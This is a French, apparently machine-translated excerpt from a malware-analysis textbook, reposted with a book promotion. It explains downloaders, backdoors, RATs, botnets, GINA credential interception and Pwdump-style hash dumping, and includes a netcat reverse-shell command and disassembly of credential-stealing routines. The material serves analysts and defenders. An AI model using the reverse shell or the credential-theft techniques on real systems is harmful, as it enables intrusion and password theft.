Le livre "Une autopsie va montrer!" Analyse pratique des malwares »

image L'analyse du malware ressemble à un jeu de chat et de souris: pas de règles, la situation est en constante évolution. Par conséquent, dans ce cas, il est logique d'étudier uniquement les choses et les algorithmes intemporels. Dès que vous êtes confronté à la tâche de protéger le réseau (ou un millier de réseaux), vous procédez à une telle analyse, et vous ne pouvez tout simplement pas vous passer de ce livre.

Programmes de téléchargement et d'exécution de logiciels


Il existe deux types de logiciels malveillants fréquemment rencontrés, conçus pour télécharger et exécuter des logiciels. Les téléchargeurs (à ne pas confondre avec les téléchargeurs du système) téléchargent simplement du code malveillant supplémentaire sur Internet et l'exécutent sur un ordinateur local. Ils sont souvent distribués avec l'exploit. Ils utilisent généralement deux appels API Windows, l'un après l'autre, pour télécharger et exécuter des logiciels malveillants supplémentaires: URLDownloadtoFileA et WinExec.

Le lanceur (lanceur) est un fichier exécutable qui installe des applications malveillantes pour leur exécution cachée (immédiatement ou après un certain temps). Les lanceurs viennent souvent avec le logiciel dont ils ont besoin pour fonctionner. Nous en discuterons au chapitre 12.

Portes dérobées


Les portes dérobées sont des programmes qui permettent à un attaquant d'accéder à l'ordinateur d'une victime. Ce sont les types de logiciels malveillants les plus détectables, et leur taille et leurs fonctionnalités peuvent varier considérablement. Le code de porte dérobée est généralement autonome et ne nécessite pas de télécharger des fichiers infectés supplémentaires.

Les portes dérobées interagissent sur Internet de différentes manières, mais les données sont généralement transmises via HTTP via le port 80. HTTP constitue la majeure partie du trafic réseau sortant, ce qui donne aux logiciels malveillants une excellente occasion de passer inaperçus par rapport à d'autres informations.

Au chapitre 14, vous apprendrez à analyser les portes dérobées au niveau des paquets, en créant des signatures réseau efficaces. En attendant, nous nous concentrerons sur l'interaction de haut niveau.
Les portes dérobées sont livrées avec un ensemble standard de fonctions: la possibilité de manipuler les clés de registre, de compter les fenêtres affichées, de créer des répertoires, de rechercher des fichiers, etc.Pour comprendre lesquelles sont utilisées par la porte dérobée, vous pouvez vérifier les fonctions de l'API Windows qu'elle importe. L'annexe A fournit une liste de fonctions communes qui décrivent ce qu'elles peuvent dire sur le logiciel malveillant.

Shell de commande inverse


Un shell de commande inverse est une connexion qui initie un ordinateur infecté, donnant un accès aux commandes à un attaquant. Il peut s'agir d'un programme malveillant distinct ou de l'un des composants d'une porte dérobée plus complexe. Dans le shell de commande inverse, un attaquant peut exécuter des commandes comme si tout cela se passait sur son système local.

Netcat Reverse Command Shell


Le programme Netcat dont nous avons discuté au chapitre 3 peut être utilisé pour créer un shell de commande si vous l'exécutez sur deux ordinateurs. Les attaquants l'utilisent souvent eux-mêmes et le complètent avec d'autres logiciels malveillants.
Pour utiliser Netcat en tant que tel, le système distant doit attendre les connexions entrantes à l'aide de la commande suivante:

nc -l –p 80 

Le commutateur -l bascule Netcat en mode d'écoute et le commutateur -p détermine le port surveillé. Ensuite, l'ordinateur de la victime établit une connexion sortante et fournit son shell de commande:

 nc _ip 80 -e cmd.exe 

L'écouteur IP 80 est l'adresse IP et le port de l'hôte distant. L'option -e vous permet de spécifier le programme qui sera exécuté lorsque la connexion sera établie. Ses entrées et sorties standard seront liées au socket (comme vous le verrez plus tard, Windows utilise souvent cmd.exe).

Windows Reverse Shell


Les attaquants utilisent deux implémentations simples du shell de commande inverse basées sur cmd.exe dans Windows: de base et multithread.

La méthode de base est populaire parmi les auteurs de logiciels malveillants, car elle est plus facile à mettre en œuvre et ne fonctionne généralement pas pire qu'une approche multithread. Il est basé sur l'appel de CreateProcess et la modification de la structure STARTUPINFO qui lui est transmise. Tout d'abord, un socket est créé et une connexion est établie avec le serveur distant. Ce socket est ensuite attaché aux threads standard (flux d'entrée, de sortie et d'erreur) du processus cmd.exe. CreateProcess exécute cmd.exe en mode sans fenêtre pour le masquer à la victime. Le chapitre 7 donne un exemple de cette technique.

Une version multithread du shell de commande inverse de Windows implique la création d'un socket, de deux canaux et de deux threads (par conséquent, vous devez rechercher les appels CreateThread et CreatePipe). Cette méthode est parfois utilisée par les auteurs de logiciels malveillants dans le cadre d'une stratégie de modification ou d'encodage des données transmises via un socket. La fonction CreatePipe peut être utilisée pour se lier aux extrémités de lecture et d'écriture du canal, telles que l'entrée standard (stdin) et la sortie standard (stdout). La fonction CreateProcess vous permet de lier des threads standard à un canal, et non directement à un socket. Après son appel, le malware créera deux threads d'exécution: l'un pour la lecture depuis le canal stdin et l'écriture dans le socket, et l'autre pour la lecture depuis le socket et l'écriture vers le canal stdout. En règle générale, ces threads codent des données, dont nous parlerons au chapitre 13. En utilisant des méthodes de rétro-ingénierie, vous pouvez examiner les branches dans lesquelles les flux décodent les paquets reçus pendant une session cryptée.

Outils d'administration à distance


Les outils d'administration à distance (RAT) sont utilisés pour contrôler un ou plusieurs ordinateurs sur un réseau. Ils sont souvent impliqués dans des attaques étroitement ciblées - par exemple, lorsqu'ils volent des informations ou se déplacent d'un ordinateur à l'autre.

Dans la fig. 11.1 montre la structure du réseau du RAT. Le serveur exécuté sur le système de la victime est équipé d'un code malveillant. Le client travaille à distance car le module de contrôle est à la disposition de l'attaquant. Les serveurs signalent au client qui les contrôle d'ouvrir la connexion. L'interfonctionnement dans RAT se produit généralement via des ports standard, tels que 80 ou 443.

image

Botnets


Un botnet est un ensemble de nœuds de réseau (zombies) infectés qui sont gérés de manière centralisée, généralement à l'aide d'un serveur appelé contrôleur de botnet. L'objectif du botnet est d'infecter autant d'ordinateurs que possible et de créer un réseau à grande échelle basé sur eux, qui peut être utilisé à la fois pour propager d'autres logiciels malveillants ou spam, et pour effectuer des attaques DDoS (déni de service distribué). ) Si tous les zombies commencent à attaquer en même temps un certain site, cela peut devenir inaccessible.

Comparaison des RAT et des botnets


Il existe plusieurs différences importantes entre les réseaux de zombies et les outils d'administration à distance.

  • Les botnets sont connus pour infecter et contrôler des millions de nœuds. Les RAT sont généralement exécutés par beaucoup moins d'ordinateurs.
  • Tous les participants au botnet sont gérés simultanément. RAT vous permet de répartir les ressources entre les différentes victimes, car un attaquant a la possibilité d'interagir plus étroitement avec les systèmes infectés.
  • Les RAT sont utilisés dans des attaques étroitement ciblées, tandis que les botnets se distinguent par leur nombre massif.

Vol d'informations d'identification


Les attaquants utilisent souvent toutes sortes de trucs pour voler des informations d'identification. Cela est particulièrement vrai pour les trois types de logiciels malveillants.

  • Programmes qui volent les informations d'identification de l'utilisateur au moment où il se connecte au système.
  • Programmes qui copient les informations stockées dans Windows (mots de passe, hachages, etc.) pour une utilisation directe ou un décryptage ultérieur.
  • Programmes qui enregistrent les frappes.

Dans cette section, nous examinons chacun de ces types de logiciels malveillants.

Interception GINA


Windows XP utilise une astuce pour voler des informations d'identification, qui consiste à intercepter GINA (identification graphique et authentification). Le système GINA a été créé afin de permettre aux applications tierces d'adapter le processus de connexion pour elles-mêmes, en ajoutant la prise en charge de technologies telles que l'identification par radiofréquence (RFID) basée sur des jetons ou des cartes à puce. Les auteurs de logiciels malveillants profitent de cette occasion pour télécharger du code qui dérobe les informations d'identification.

GINA est implémenté en tant que DLL appelée msgina.dll et est chargé par Winlogon lors de la connexion. Winlogon prend également en charge les plug-ins tiers, en les chargeant devant la DLL GINA (comme dans une attaque intermédiaire). Pour plus de commodité, Windows fournit la branche de registre suivante, où Winlogon peut rechercher et charger des DLL tierces:

 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL 

Une fois que nous y avons trouvé un fichier fsgina.dll infecté, qui s'est avéré être un intercepteur GINA.
Dans la fig. La figure 11.2 montre un exemple de la façon dont les informations de connexion parviennent à une bibliothèque malveillante, en passant de Winlogon à msgina.dll. Le malware (fsgina.dll) parvient à intercepter toutes les informations d'identification que l'utilisateur entre lors de l'authentification. Il peut l'écrire sur le disque ou le transférer sur le réseau.

image

Étant donné que la bibliothèque fsgina.dll intercepte le flux d'interaction entre Winlogon et GINA, elle doit le transmettre à msgina.dll pour que le système continue de fonctionner normalement. Pour ce faire, le malware doit exporter toutes les fonctions requises par le système GINA - il y en a plus de 15 et la plupart d'entre elles ont le préfixe Wlx. De toute évidence, si vous trouvez dans la DLL de nombreuses fonctions d'exportation qui commencent par Wlx, vous pouvez très probablement supposer qu'il s'agit d'un intercepteur GINA.

La plupart de ces appels d'exportation accèdent à des fonctions réelles dans msgina.dll. Dans le cas de fsgina.dll, cela s'applique à toutes les fonctions sauf WlxLoggedOutSAS. Le listing 11.1 montre l'exportation de WlxLoggedOutSAS vers fsgina.dll.

Listing 11.1. Fonction d'exportation WlxLoggedOutSAS dans la DLL GINA qui enregistre les informations d'identification volées

 100014A0 WlxLoggedOutSAS 100014A0 push esi 100014A1 push edi 100014A2 push offset aWlxloggedout_0 ; "WlxLoggedOutSAS" 100014A7 call Call_msgina_dll_function (1) ... 100014FB push eax ; Args 100014FC push offset aUSDSPSOpS ;"U: %s D: %s P: %s OP: %s" 10001501 push offset aDRIVERS ; "drivers\tcpudp.sys" 10001503 call Log_To_File (2) 

Les informations d'identification sont immédiatement transférées dans le fichier msgina.dll à l'aide d'un appel appelé Call_msgina_dll_function (1). Cette fonction localise et lance dynamiquement l'appel WlxLoggedOutSAS à partir de msgina.dll, qui est spécifié comme argument. Un appel en ligne (2) enregistre des données. Comme arguments, il prend des informations comptables, une chaîne de format avec laquelle ces informations seront affichées et un nom de fichier pour l'enregistrement. Par conséquent, les informations sur toute connexion réussie sont enregistrées dans le fichier% SystemRoot% \ system32 \ drivers \ tcpudp.sys. Ce fichier contient le nom d'utilisateur, le domaine et deux mots de passe - l'actuel et l'ancien.

Sauvegarde des hachages


Un logiciel malveillant sous Windows enregistre souvent les hachages du système pour accéder aux informations d'identification. Après avoir enregistré, les attaquants tentent de décrypter ces hachages hors ligne ou de les utiliser pour attaquer comme pass-the-hash. Au cours de cette attaque, les hachages LM et NTLM sont utilisés pour l'authentification NTLM distante, qui ne nécessite pas de déchiffrement et d'obtention du mot de passe correspondant.

Pour économiser les hachages, il existe des packages logiciels Pwdump et Pass-the-Hash (PSH) qui sont gratuits. Étant donné que ces deux outils sont open source, de nombreux logiciels malveillants ont été créés sur leur base.

La plupart des antivirus ont des signatures pour les versions compilées standard de ces utilitaires, donc les attaquants essaient souvent de compiler leurs propres variations pour éviter la détection. Les exemples de ce chapitre sont les types de pwdump et PSH que nous avons rencontrés dans la vie réelle.

Pwdump est un ensemble de programmes qui génèrent des hachages au format LM i NTLM appartenant aux utilisateurs locaux à partir du gestionnaire de comptes de sécurité (SAM). Pwdump injecte la DLL dans le processus LSASS (service de sous-système de l'autorité de sécurité locale), mieux connu sous le nom de lsass.exe. Nous discuterons de l'implémentation des DLL dans le chapitre 12, mais pour l'instant, il vous suffit de savoir qu'il s'agit d'une technique par laquelle un malware exécute des bibliothèques à l'intérieur d'autres processus, en utilisant tous leurs privilèges. Les outils d'enregistrement des hachages attaquent souvent le processus lsass.exe car il dispose de privilèges suffisants et d'un accès à de nombreuses fonctions API utiles.

La version standard de Pwdump utilise la bibliothèque lsaext.dll. Lorsqu'il est injecté dans lsass.exe, il appelle la fonction GetHash, qui est exportée à partir de lsaext.dll pour récupérer les hachages. Dans ce cas, des fonctions Windows non documentées sont utilisées, ce qui vous permettra d'obtenir les numéros de série de tous les utilisateurs du système et les hachages non chiffrés du mot de passe pour chacun d'eux.

Face à la variation de Pwdump, vous devez analyser ses bibliothèques pour comprendre comment les hachages sont enregistrés. La première chose que vous devez faire attention aux fonctions d'exportation. L'appel GetHash est exporté de Pwdump par défaut, mais les attaquants peuvent facilement changer son nom pour le rendre moins reconnaissable. Vous devez ensuite essayer de déterminer les fonctions utilisées dans les appels d'exportation. Beaucoup d'entre eux peuvent être localisés dynamiquement; par conséquent, les appels d'exportation réutilisent souvent l'opération GetProcAddress.

Le listing 11.2 montre le code de la fonction d'exportation GrabHash de la DLL d'une version de Pwdump. Étant donné que la bibliothèque est intégrée dans lsass.exe, avant d'utiliser de nombreux caractères, elle doit d'abord les trouver en mode manuel.

Listing 11.2. Appels API uniques utilisés par la fonction d'exportation GrabHash dans l'une des variantes de Pwdump

 1000123F push offset LibFileName ; "samsrv.dll" (1) 10001244 call esi ; LoadLibraryA 10001248 push offset aAdvapi32_dll_0 ; "advapi32.dll" (2) ... 10001251 call esi ; LoadLibraryA ... 1000125B push offset ProcName ; "SamIConnect" 10001260 push ebx ; hModule 10001265 call esi ; GetProcAddress ... 10001281 push offset aSamrqu ; "SamrQueryInformationUser" 10001286 push ebx ; hModule 1000128C call esi ; GetProcAddress ... 100012C2 push offset aSamigetpriv ; "SamIGetPrivateData" 100012C7 push ebx ; hModule 100012CD call esi ; GetProcAddress ... 100012CF push offset aSystemfuncti ; "SystemFunction025" (3) 100012D4 push edi ; hModule 100012DA call esi ; GetProcAddress 100012DC push offset aSystemfuni_0 ; "SystemFunction027" (4) 100012E1 push edi ; hModule 100012E7 call esi ; GetProcAddress 

Le listing 11.2 montre le code pour récupérer les descripteurs de bibliothèque samsrv.dll (1) et advapi32.dll (2) en appelant LoadLibrary. Le fichier samsrv.dll contient une API pour un accès facile à SAM et le fichier advapi32.dll a été trouvé pour accéder à des fonctions qui n'ont pas été importées dans lsass.exe. La bibliothèque dynamique de cette variation Pwdump utilise les descripteurs de ces bibliothèques pour rechercher de nombreuses fonctions. Les cinq plus importants sont indiqués dans la liste (notez les appels GetProcAddress et leurs arguments).

Les appels intéressants tels que SamIConnect, SamrQueryInformationUser et SamIGetPrivateData sont importés de samsrv.dll. L'appel SamIConnect est ensuite utilisé pour se connecter à SAM, après quoi la fonction SamrQueryInformationUser est appelée pour chaque utilisateur du système.

Les hachages sont récupérés à l'aide de l'appel SamIGetPrivateData, puis décryptés à l'aide des fonctions SystemFunction025 et SystemFunction027 importées depuis advapi32.dll (lignes (2) et (3)). Aucune des fonctions API de cette liste n'est décrite dans la documentation officielle.

PSH Toolkit contient des programmes qui créent des vidages de hachage. La plus populaire de ces décharges est connue sous le nom de whosthere-alt. Il stocke le contenu SAM obtenu en incorporant la DLL dans lsass.exe. En même temps, par rapport à Pwdump, un ensemble complètement différent de fonctions API est utilisé. Le listing 11.3 montre le code de version de whosthere-alt, qui exporte une fonction appelée TestDump.

Listing 11.3. Appels API uniques utilisés par la fonction d'exportation TestDump de la version whosthere-alt

 10001119 push offset LibFileName ; "secur32.dll" 1000111E call ds:LoadLibraryA 10001130 push offset ProcName ; "LsaEnumerateLogonSessions" 10001135 push esi ; hModule 10001136 call ds:GetProcAddress (1) ... 10001670 call ds:GetSystemDirectoryA 10001676 mov edi, offset aMsv1_0_dll ; \\msv1_0.dll ... 100016A6 push eax ; path to msv1_0.dll 100016A9 call ds:GetModuleHandleA (2) 

Étant donné que cette bibliothèque est intégrée dans lsass.exe, sa fonction TestDump crée un vidage de hachage. Il charge dynamiquement le fichier secur32.dll et y trouve l'appel LsaEnumerateLogonSessions (1) pour obtenir une liste d'identificateurs localement uniques (LUID). Cette liste contient les noms et domaines qui ont été indiqués à chaque connexion. La bibliothèque les parcourt pour accéder aux informations comptables. Pour ce faire, à l'aide d'un appel à GetModuleHandle (2), elle recherche dans msv1_0.dll une fonction non exportée, NlpGetPrimaryCredential, qui permet de vider les hachages NT et LM.

À propos des auteurs


Michael Sikorski est spécialiste de la sécurité chez Mandiant. Il est impliqué dans l'analyse de logiciels malveillants dans le cadre d'une enquête sur un incident et est consultant auprès du gouvernement américain pour la sécurité de l'information. Michael a développé une série de cours d'analyse de logiciels malveillants et les enseigne à un public diversifié, y compris le FBI et Black Hat. Avant Mandiant, il était un employé du Lincoln Laboratory du Massachusetts Institute of Technology et a mené des recherches sur la topologie du réseau passif et les tests de pénétration. De plus, Michael a suivi un programme de formation interdisciplinaire de trois ans sur les systèmes et les réseaux à la NSA. Au cours de sa formation, il a participé à l'étude des techniques de reverse engineering et a reçu plusieurs prix dans le domaine de l'analyse de réseau.

Andrew Honig est un expert en sécurité de l'information au département américain de la Défense. Il enseigne l'analyse de logiciels, l'ingénierie inverse et la programmation pour le système d'exploitation Windows (OS) à la National School of Cryptography, tout en étant un spécialiste certifié en sécurité des systèmes d'information. En raison d'Andrew, plusieurs exploits zero-day pour la virtualisation VMware, ainsi que des outils pour détecter des logiciels malveillants innovants, y compris des modules de noyau infectés. Ayant dix ans d'expérience en tant qu'analyste dans le domaine de la sécurité informatique, il est à juste titre considéré comme un expert dans l'analyse et l'interprétation de programmes malveillants et ordinaires.

»Plus d'informations sur le livre sont disponibles sur le site Web de l'éditeur
» Contenu
» Extrait

Pour Khabrozhiteley 20% de réduction sur le coupon - Une autopsie s'affichera

Source: https://habr.com/ru/post/fr416143/


All Articles